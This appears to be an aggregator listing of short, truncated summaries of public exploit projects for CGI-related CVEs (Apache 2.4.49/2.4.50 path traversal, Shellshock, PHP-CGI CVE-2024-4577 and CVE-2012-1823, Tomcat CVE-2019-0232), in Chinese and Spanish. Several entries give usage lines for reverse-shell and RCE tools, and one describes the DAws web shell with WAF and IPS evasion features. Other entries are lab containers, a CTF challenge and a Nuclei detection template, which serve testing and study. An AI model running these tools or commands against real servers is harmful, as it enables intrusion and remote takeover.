Apache-CVE-2021-41773

CVE-2021-41773 Apache HTTP Server 路径遍历 贡献者 이희수@lheeeesoo Apache HTTP Server 2.4.49 存在一个漏洞，在URL路径规范化过程中未能正确阻止编码的父路径。 攻击者可以使用 .%2e 等值绕过Web服务器公开设置的目录，访问目录之外的路径。在允许访问外部目录的环境中，服务器内部文件可能被泄露；如果启用了CGI功能，则可能执行系统shell，从而导致远程命令执行。 本项目中，我们使用Docker直接搭建Apache HTTP Server 2.4.49环境，并复现了以下两种情况： 利用路径遍历泄露 /etc/pass...

Shellshock_vuln_Exploit

🚨 Shellshock RCE 漏洞利用工具 CVE-2014-6271 这是一个针对 Shellshock 漏洞 CVE-2014-6271 的 Python 利用工具，该漏洞影响 GNU Bash 。此工具攻击易受攻击的 Web 服务器上的 CGI 脚本 ，并建立到攻击者机器的 反向 shell 。 CVE ID CVE-2014-6271 免责声明 此工具仅可用于 教育和道德目的 。 功能特性 利用易受攻击的 CGI 脚本（通过 Shellshock） 反向 shell 处理程序 支持： HTTP 和 HTTPS 自定义 CGI 路径 代理支持 成功时提供交互式 shell CV...

CVE-2024-4577-PHP-RCE

CVE-2024-4577-PHP-RCE 项目简介与原理 全球首款利用PHP默认环境（XAMPP）的CVE-2024-4577 PHP-CGI RCE 漏洞 EXP。 The world's first CVE-2024-4577 PHP-CGI RCE exploit utilizing the default PHP environment. Sharing original exploit, supports SSRF, supports WAF bypass. 实现PHP默认环境RCE。原理：cgi.forceredirect + REDIRECT-STATUS。...

CVE-2021-41773

Apache路径遍历与远程代码执行漏洞利用工具 CVE-2021-41773 & CVE-2021-42013 这些是影响 Apache HTTP Server 2.4.49 和 2.4.50 的严重路径遍历漏洞。 它们允许攻击者： 访问 Web 根目录之外的文件 LFI 如果启用 CGI，则可实现远程代码执行 RCE 这两个漏洞已在 Apache 2.4.51 中修复。 强烈建议立即升级。 用法 root@kitploit: python3 exploit.py --url --port PORT --rce --command "COMMAND" | --lfi --path...

-CVE-2014-6271-Shellshock-Remote-Command-Injection-

CVE-2014-6271 Shellshock远程命令注入 CVE-2014-6271 Apache Shellshock远程命令注入工具，用于快速反弹Shell和文件浏览 root@kitploit: Shellshock Apache远程利用 用法： ./Shellshock.py payload=reverse rhost=1.2.3.4 page=3 lhost=5.6.7.8 lport=1234 ./Shellshock.py payload=files rhost=1.2.3.4 page=3 echo="ls -la" ./Shellshock.py...

CVE-2024-4577

CVE-2024-4577 - PHP-CGI 参数注入远程代码执行 | | ---|---|--- CVE| 描述| CVSSv3 CVE-2024-4577| PHP-CGI 参数注入漏洞| 9.8 | | "CVE-2024-4577 是 PHP 中一个严重的参数注入漏洞，可被利用来实现远程代码执行 RCE。据 DEVCORE 的研究人员称，该缺陷是字符编码转换错误的结果，影响了 Windows 上的 “Best Fit” 功能。" -Tenable 为 CVE-2024-4577 搭建实验环境 下载 XAMPP 下载 XAMPP 8.1.25 / PHP 8.1.25 安装...

CVE-2024-4577

CVE-2024-4577 概述 CVE-2024-4577 是一个影响以下版本 PHP 服务器的安全漏洞： PHP 8.3.x（8.3.8 及更早版本） PHP 8.2.x（8.2.20 及更早版本） PHP 8.1.x（8.1.29 及更早版本） 所有 8.0 之前的版本 不受支持的 7.x 和 5.x 版本 此漏洞是一个远程代码执行（RCE）缺陷，当在 Windows 服务器上使用 PHP CGI（通用网关接口）时会发生。问题源于由于某些语言设置中使用“最佳匹配”字符映射，导致 Windows 错误解释某些字符。在这种情况下，PHP CGI 模块将恶意字符解释为 PHP...

CVE-2012-1823

PHP CGI参数注入 CVE-2012-1823 描述 sapi/cgi/cgimain.c 在 PHP 5.3.12 之前版本及 5.4.x 版本中（5.4.2 之前），当配置为 CGI 脚本（即 php-cgi）时，未能正确处理缺少 =（等号）字符的查询字符串，这允许远程攻击者通过在查询字符串中放置命令行选项来执行任意 代码，相关问题在于未能跳过针对 'd' 情况的某个 phpgetopt。 用法 root@kitploit: ./phpcgi.sh http:// 示例 root@kitploit: ./phpcgi.sh http://10.128.20.2 "whoami"...

shellshock-victim-host

shellshock-victim-host 一个存在 Shellshock 漏洞（CVE-2014-6271）的 Docker 容器 运行 root@kitploit: podman build -t shellshock-victim . podman run -it -p 80:8080 shellshock-victim 注意：也可使用 Docker 构建。 易受攻击的应用将部署在： http://localhost:8080/victim.cgi - 脆弱端点 http://localhost:8080/safe.cgi - 安全端点...

CVE-2021-41773

CVE-2021-41773 He desarrollado un POC de CVE-2021-41773, RCE + path traversal de cgi-bin NOTA : PROBADO EN APACHE2 2.4.49 Puedes extraer el Apache2 2.4.49 vulnerable directamente desde Docker root@kitploit: $ sudo docker pull blueteamsteve/cve-2021-41773:no-cgid $ sudo docker run -dit -p 80:80...

CVE-2021-42013_Reverse-Shell

CVE-2021-42013Reverse-Shell CVE-2021-42013 的 PoC：Apache 2.4.50（带 CGI）反向 Shell 用法： root@kitploit: chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:port/ LHOST LPORT 更多信息： root@kitploit: chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:8083 10.0.000.000 9999 ...

shellshock-shell

shellshock-shell 一个简单的类似Python shell的利用工具，针对Shellshock CVE-2014-6271漏洞。 用于利用已知存在漏洞的URL。 此工具仅可用于您自己授权的URL。 该工具的作者对其使用不承担任何责任。 文件名: shellshock.py 作者: Sagi Levy - [email protected] 创建日期: 27/09/2014 Python版本: 2.7 示例: ./shellshock.py -u http://localhost/cgi-bin/bash.sh...

cve-2021-42013

Apache 2.4.50 - 路径遍历或远程代码执行 CVE-2021-42013.py 是一个 Python 脚本，用于检测 Apache 2.4.50 中的路径遍历或远程代码执行漏洞。提供了一个存在漏洞的 Docker 实例，方便您动手实践 CVE-2021-42013。 如果启用了 CGI-BIN，则可以执行远程代码（但不能执行路径遍历），因此为了检查路径遍历漏洞，已在 httpd.conf 的 Alias 部分添加了 "icons" 目录。 httpd.conf 中的漏洞配置 root@kitploit: 1. 启用 CGI-BIN 2. 在 Alias 部分添加 "icons...

DAws

大家好， 关于 DAws 相比其他所有 Web Shell 有多个优势： 1. 绕过安全系统（IPS、WAF 等），如 Suhosin（使用多达 20 个 PHP 函数来执行命令）。 2. 投放 CGI Shell 并与之通信以绕过安全系统。 3. 使用 SSH 授权密钥方法绕过安全系统。 4. 使用两种 Shellshock 方法绕过安全系统。 5. 完全基于 POST，并使用基于随机密钥的 XOR 加密，该密钥随每个新会话生成 + 私有的 base64 函数，以绕过安全系统。 6. 支持 Windows 和 Linux。 7. 寻找可写可读目录，如果是 Web...

CVE-2024-4577

CVE-2024-4577 - Inyección de Argumentos en PHP CGI RCE Resumen CVE-2024-4577 es una vulnerabilidad crítica de inyección de argumentos en PHP CGI que afecta a sistemas Windows que ejecutan PHP en modo CGI. Esta falla permite a atacantes remotos inyectar argumentos en la línea de comandos de PHP...

CVE-2019-0232

CVE-2019-0232 — RCE en Servlet CGI de Apache Tomcat PoC educativo solo para CTF autorizado / pruebas de penetración. Ejecutar esto contra sistemas que no posee o para los que no tiene permiso explícito por escrito es ilegal. Resumen de la vulnerabilidad CVE-2019-0232 es una vulnerabilidad de...

ctf-cve-2024-4577

CVE-2024-4577 CTF 挑战 概述 本 CTF 挑战演示了 CVE-2024-4577，一个影响 PHP 8.1.x 8.1.21、8.2.x 8.2.8 和 8.3.x 8.3.1 的严重 PHP CGI 参数注入漏洞。 漏洞详情 CVE-2024-4577 是一个 PHP CGI 参数注入漏洞，当 PHP 被配置为以 CGI 处理器方式运行时会出现。攻击者可以通过构造的 HTTP 请求向 PHP 解释器注入命令行参数，从而可能导致远程代码执行。 挑战说明 你将获得一个运行在 Web 服务器上的易受攻击的 PHP 应用程序的访问权限。你的目标是利用 CVE-2024-457...

CVE-2024-4577

CVE-2024-4577 的 Nuclei 模板 该Nuclei模板作为CVE-2024-4577（一个PHP CGI参数注入漏洞）的概念验证（PoC）。 示例命令 root@kitploit: nuclei -t CVE-2024-4577.yaml -u https://example.com...

CVE-2021-41773

CVE-2021-41773 Playground Esta es una pequeña receta Docker para configurar un contenedor basado en Debian bookworm con una instancia de Apache HTTPd 2.4.49 vulnerable a CVE-2021-41773. CGI se ha habilitado explícitamente para que pueda usarse para probar/verificar el comportamiento de divulgació...

PHP_CVE-2012-1823

PHP-CGI远程代码执行漏洞（CVE-2012-1823） 原理 参考文章 http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/ 影响版本 php 漏洞解读 PHP SAPI 与运行模式 首先，介绍一下PHP的运行模式。 下载PHP源码，可以看到其中有个目录叫sapi。sapi在PHP中的作用，类似于一个消息的“传递者”，比如我在《Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写》一文中介绍的fpm，他的作用就是接受Web容器通过fastcgi协议封装好的数据，并交给PHP解释器执行。...